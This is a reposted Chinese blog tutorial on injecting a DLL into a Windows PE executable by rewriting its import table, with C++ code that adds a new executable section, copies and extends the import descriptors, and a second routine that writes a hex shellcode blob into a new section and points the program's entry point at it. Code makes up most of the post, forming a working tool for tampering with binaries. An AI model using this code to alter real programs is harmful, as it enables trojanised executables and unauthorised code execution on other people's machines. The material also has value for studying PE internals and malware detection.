PE 通过导入表注入 Dll
Posted dounine
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PE 通过导入表注入 Dll相关的知识,希望对你有一定的参考价值。
导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。
- 将要注入dll的程序写入到内存中,并新增一个节
- 拷贝原来的导入表到新节中
- 在新节拷贝的导入表后新增一个导入表_IMAGE_IMPORT_DESCRIPTOR
- 增加8字节的INT表和8字节的IAT表
- 存储要注入的dll的名称
- 增加一个_IMAGE_IMPORT_BY_NAME结构,并将函数名称存进结构体第一个变量后的内存中
- 将_IMAGE_IMPORT_BY_NAME结构的地址的RVA赋值给INT表和IAT表第一项
- 将dll名称所在位置的首地址的RVA赋值给新增导入表的Name
- 修改IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size
提示
- 根据IMAGE_DATA_DIRECTORY结构的size去拷贝导入表,将会多拷贝20字节的0,这也是导入表结束的标志,新增导入表的时候应该将此处的0进行覆盖,因为20字节的0,否则系统不会加载新增的导入表代表导入表结束了。
- INT表和IAT表的8字节是因为这两张表至少包含一项内容,才会被系统加载,剩余的4字节为0标志着表的结束。
- 结构体存储地址的变量存储都是RVA,使用时需要进行转换,有时是FOA转RVA,有时是RVA转FOA 。
代码
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <sys/stat.h>
#include <filesystem>
using namespace std;
LPVOID readFile(PTCHAR fileName, size_t &fileSize)
FILE *file;
fopen_s(&file, fileName, "rb");
if (nullptr == file)
cout << "file open fail" << endl;
return nullptr;
struct stat fileStat;
stat(fileName, &fileStat);
size_t size = fileStat.st_size;
fileSize = size;
auto fileBuffer = malloc(size);
if (nullptr == fileBuffer)
cout << "malloc fail" << endl;
return nullptr;
memset(fileBuffer, 0, size);
fread(fileBuffer, size, 1, file);
fclose(file);
return fileBuffer;
BOOL writeFile(LPVOID fileBuffer, unsigned long size, PTCHAR newFileName)
FILE *file = nullptr;
fopen_s(&file, newFileName, "wb");
if (nullptr == file)
cout << "file create fail" << endl;
return FALSE;
fwrite(fileBuffer, 1, size, file);
fclose(file);
return TRUE;
PIMAGE_NT_HEADERS getNtHeader(LPVOID buffer)
auto docHeader = (PIMAGE_DOS_HEADER) buffer;
auto ntHeader = (PIMAGE_NT_HEADERS32) ((PTCHAR) buffer + docHeader->e_lfanew);
return ntHeader;
PIMAGE_OPTIONAL_HEADER getOptionalHeader(LPVOID buffer)
auto ntHeader = getNtHeader(buffer);
return &ntHeader->OptionalHeader;
PIMAGE_FILE_HEADER getFileHeader(LPVOID buffer)
auto ntHeader = getNtHeader(buffer);
return &ntHeader->FileHeader;
PIMAGE_SECTION_HEADER getFirstSectionHeader(LPVOID buffer)
auto optionHeader = getOptionalHeader(buffer);
auto ntHeader = getNtHeader(buffer);
return (PIMAGE_SECTION_HEADER) ((PTCHAR) optionHeader + ntHeader->FileHeader.SizeOfOptionalHeader);
PIMAGE_SECTION_HEADER getLatestSectionHeader(LPVOID buffer)
return (PIMAGE_SECTION_HEADER) (getFirstSectionHeader(buffer) + getFileHeader(buffer)->NumberOfSections - 1);
size_t align(size_t size, int align)
return ((size / align) + 1) * align;
size_t peSize(LPVOID fileBuffer)
auto latestSectionHeader = getLatestSectionHeader(
fileBuffer);
return latestSectionHeader->PointerToRawData + latestSectionHeader->SizeOfRawData;
LPVOID Rva2Foa(LPVOID buffer, DWORD rva)
auto ntHeader = getNtHeader(buffer);
auto firstSectionHeader = getFirstSectionHeader(buffer);
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections - 1; i++)
auto section = firstSectionHeader + i;
if (rva >= section->VirtualAddress && rva < (section->VirtualAddress + section->Misc.VirtualSize))
return (LPVOID) (rva - section->VirtualAddress + section->PointerToRawData);
cout << "Rva2Foa error:" << rva << endl;
return nullptr;
LPVOID Foa2Rva(LPVOID buffer, DWORD foa)
auto ntHeader = getNtHeader(buffer);
auto firstSectionHeader = getFirstSectionHeader(buffer);
if (foa <= ntHeader->OptionalHeader.SizeOfHeaders)
return (LPVOID) foa;
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
auto section = firstSectionHeader + i;
if (foa >= section->PointerToRawData && foa < (section->PointerToRawData + section->SizeOfRawData))
return (LPVOID) (foa - section->PointerToRawData + section->VirtualAddress);
cout << "Foa2Rva error:" << foa << endl;
return nullptr;
LPVOID addSection(LPVOID fileBuffer, PTCHAR sectionName, size_t sectionCodeSize)
if (strlen(sectionName) >= 8)
cout << "sectionName size < 8" << endl;
return nullptr;
auto ntHeader = getNtHeader(fileBuffer);
size_t fileAlign = ntHeader->OptionalHeader.FileAlignment;
size_t fileSize = peSize(fileBuffer);
size_t outFileSize = fileSize + align(sectionCodeSize, fileAlign);
auto newFileBuffer = malloc(outFileSize);
memset(newFileBuffer, 0, outFileSize);
memcpy(newFileBuffer, fileBuffer, fileSize);
free(fileBuffer);
auto newFileNtHeader = getNtHeader(newFileBuffer);
auto newOptionHeader = &newFileNtHeader->OptionalHeader;
auto newFileSectionHeader =
(PIMAGE_SECTION_HEADER) ((PTCHAR) newOptionHeader +
sizeof(*newOptionHeader));
if ((newFileSectionHeader->PointerToRawData -
(DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)) < 0x50)
cout << "table space not enought" << endl;
return nullptr;
size_t sectionAlign = newFileNtHeader->OptionalHeader.SectionAlignment;
auto newFileLatestSectionHeader =
(PIMAGE_SECTION_HEADER) (newFileSectionHeader + (newFileNtHeader->FileHeader.NumberOfSections - 1));
auto addSectionHeader = newFileLatestSectionHeader + 1;
memcpy(addSectionHeader->Name, sectionName, 8);
addSectionHeader->Misc.VirtualSize = align(sectionCodeSize, sectionAlign);
addSectionHeader->VirtualAddress = align(
newFileLatestSectionHeader->VirtualAddress + newFileLatestSectionHeader->Misc.VirtualSize,
sectionAlign);
addSectionHeader->SizeOfRawData = align(sectionCodeSize, fileAlign);
addSectionHeader->PointerToRawData =
newFileLatestSectionHeader->PointerToRawData + newFileLatestSectionHeader->SizeOfRawData;
addSectionHeader->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
newFileNtHeader->FileHeader.NumberOfSections += 1;
auto firstSection = getFirstSectionHeader(newFileBuffer);
auto latestSection = (DWORD) (getLatestSectionHeader(newFileBuffer) + 1);
auto ssize = (DWORD) newFileBuffer + firstSection->PointerToRawData - latestSection;
cout << "space size : " << ssize << " --- " << "code size : " << sectionCodeSize << endl;
cout << latestSection << ":" << (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)
<< endl;
// for (int i = 1; i < newFileNtHeader->FileHeader.NumberOfSections; i++)
// newFileSectionHeader[i - 1].Misc.VirtualSize =
// newFileSectionHeader[i].VirtualAddress - newFileSectionHeader[i - 1].VirtualAddress;
//
newFileNtHeader->OptionalHeader.SizeOfImage =
addSectionHeader->VirtualAddress + addSectionHeader->Misc.VirtualSize;
newFileNtHeader->OptionalHeader.SizeOfHeaders += sizeof(*addSectionHeader);
return newFileBuffer;
/**
* pe文件注入shellcode
*/
void hackPe()
char shellcode[] = "\\x31\\xd2\\xb2\\x30\\x64\\x8b\\x12\\x8b\\x52\\x0c\\x8b\\x52\\x1c\\x8b\\x42"
"\\x08\\x8b\\x72\\x20\\x8b\\x12\\x80\\x7e\\x0c\\x33\\x75\\xf2\\x89\\xc7\\x03"
"\\x78\\x3c\\x8b\\x57\\x78\\x01\\xc2\\x8b\\x7a\\x20\\x01\\xc7\\x31\\xed\\x8b"
"\\x34\\xaf\\x01\\xc6\\x45\\x81\\x3e\\x46\\x61\\x74\\x61\\x75\\xf2\\x81\\x7e"
"\\x08\\x45\\x78\\x69\\x74\\x75\\xe9\\x8b\\x7a\\x24\\x01\\xc7\\x66\\x8b\\x2c"
"\\x6f\\x8b\\x7a\\x1c\\x01\\xc7\\x8b\\x7c\\xaf\\xfc\\x01\\xc7\\x68\\x79\\x74"
"\\x65\\x01\\x68\\x6b\\x65\\x6e\\x42\\x68\\x20\\x42\\x72\\x6f\\x89\\xe1\\xfe"
"\\x49\\x0b\\x31\\xc0\\x51\\x50\\xff\\xd7";;
string currentPath = filesystem::current_path().u8string();
string fileNameStr = currentPath + R"(\\..\\resources\\Demo.exe)";
PTCHAR fileName = fileNameStr.data();
string fileNamePeStr = currentPath + R"(\\..\\resources\\DemoPe.exe)";
PTCHAR fileNamePe = fileNamePeStr.data();
size_t fileSize;
LPVOID fileBuffer = readFile(fileName, fileSize);
LPVOID newFileBuffer = addSection(fileBuffer, (PTCHAR) ".import", sizeof(shellcode));
auto ntHeader = getNtHeader(newFileBuffer);
auto latestSectionHeader = getLatestSectionHeader(
newFileBuffer);
memcpy((PTCHAR) newFileBuffer + latestSectionHeader->PointerToRawData, shellcode, sizeof(shellcode));
ntHeader->OptionalHeader.AddressOfEntryPoint = latestSectionHeader->VirtualAddress;
size_t outFileSize = peSize(newFileBuffer);
writeFile(newFileBuffer, outFileSize, fileNamePe);
free(newFileBuffer);
void peInject()
PTCHAR sectionName = ".import";
PTCHAR injectDllName = "Dll2.dll";
PTCHAR injectFunctionName = "ExportFunction";
string currentPath = filesystem::current_path().u8string();
string fileNameStr = currentPath + R"(\\..\\resources\\Demo.exe)";
string fileNameNewStr = currentPath + R"(\\..\\resources\\DemoNew.exe)";
PTCHAR fileNameNewPe = fileNameNewStr.data();
PTCHAR fileName = fileNameStr.data();
size_t fileSize;
LPVOID fileBuffer = readFile(fileName, fileSize);
auto optionHeader = getOptionalHeader(fileBuffer);
auto importDirectory = &optionHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
size_t inaSize = 0x0;
size_t iatSize = 0x10;
size_t dllNameLen = strlen(injectDllName) + 1;
size_t newDataDirectoryLen = sizeof(IMAGE_IMPORT_DESCRIPTOR);
size_t emptyDataDirectoryLen = newDataDirectoryLen;
size_t functionNameLen = strlen(injectFunctionName) + 1;
size_t spaceLen = 0x2;
size_t sectionLength =
importDirectory->Size + newDataDirectoryLen + emptyDataDirectoryLen + inaSize + iatSize + dllNameLen +
functionNameLen + spaceLen;
auto firstSection = getFirstSectionHeader(fileBuffer);
auto fileAlign = optionHeader->FileAlignment;
auto sectionAlign = optionHeader->SectionAlignment;
LPVOID newFileBuffer = addSection(fileBuffer, sectionName, sectionLength);
auto dataDirectory = &getOptionalHeader(newFileBuffer)->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
auto latestSection = getLatestSectionHeader(newFileBuffer);
auto newSectionFoa = (PDWORD) ((DWORD) newFileBuffer + latestSection->PointerToRawData);
auto dataDirectionFoa = Rva2Foa(newFileBuffer, dataDirectory->VirtualAddress);
auto oldImportDirectionAddr = (PIMAGE_IMPORT_DESCRIPTOR) ((DWORD) newFileBuffer + (DWORD) dataDirectionFoa);
memcpy(newSectionFoa, oldImportDirectionAddr, dataDirectory->Size);
auto newImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (
(DWORD) newSectionFoa + dataDirectory->Size - sizeof(IMAGE_IMPORT_DESCRIPTOR));
auto pIntTble = (PIMAGE_THUNK_DATA) ((DWORD) newImportDescriptor + 0x28);
auto originPIntTable = pIntTble;
//int
pIntTble++;
pIntTble->u1.Ordinal = 0x0;
pIntTble++;
//iat
auto pIatTable = pIntTble;
auto originPIatTable = pIatTable;
pIatTable++;
pIatTable->u1.Ordinal = 0x0;
pIatTable++;
//dll name
auto dllNameAddr = (PDWORD) pIatTable;
memcpy(dllNameAddr, injectDllName, strlen(injectDllName) + 1);
//image_import_by_name
auto functionNameAddr = (PIMAGE_IMPORT_BY_NAME) (PDWORD) (dllNameAddr + strlen(injectDllName) + 1);
auto pFunctionName = (LPVOID) ((DWORD) functionNameAddr + 0x2);
memcpy(pFunctionName, injectFunctionName, strlen(injectFunctionName) + 1);
//copy image_import_by_name to iat and int
originPIntTable->u1.AddressOfData = (DWORD) Foa2Rva(newFileBuffer,
(DWORD) functionNameAddr - (DWORD) newFileBuffer);
originPIatTable->u1.AddressOfData = originPIntTable->u1.Ordinal;
//revise name OriginFirstThunk , FirstThunk
newImportDescriptor->Name = (DWORD) Foa2Rva(newFileBuffer,
(DWORD) dllNameAddr - (DWORD) newFileBuffer);
newImportDescriptor->OriginalFirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIntTable -
(DWORD) newFileBuffer);
newImportDescriptor->FirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIatTable -
(DWORD) newFileBuffer);
//revise image_data_directory.virtualaddress and size
dataDirectory->VirtualAddress = (DWORD) Foa2Rva(newFileBuffer,
latestSection->PointerToRawData);
dataDirectory->Size += sizeof(IMAGE_IMPORT_DESCRIPTOR);
size_t newFileSize = peSize(newFileBuffer);
writeFile(newFileBuffer, newFileSize, fileNameNewPe);
int main()
peInject();
return 0;
以上是关于PE 通过导入表注入 Dll的主要内容,如果未能解决你的问题,请参考以下文章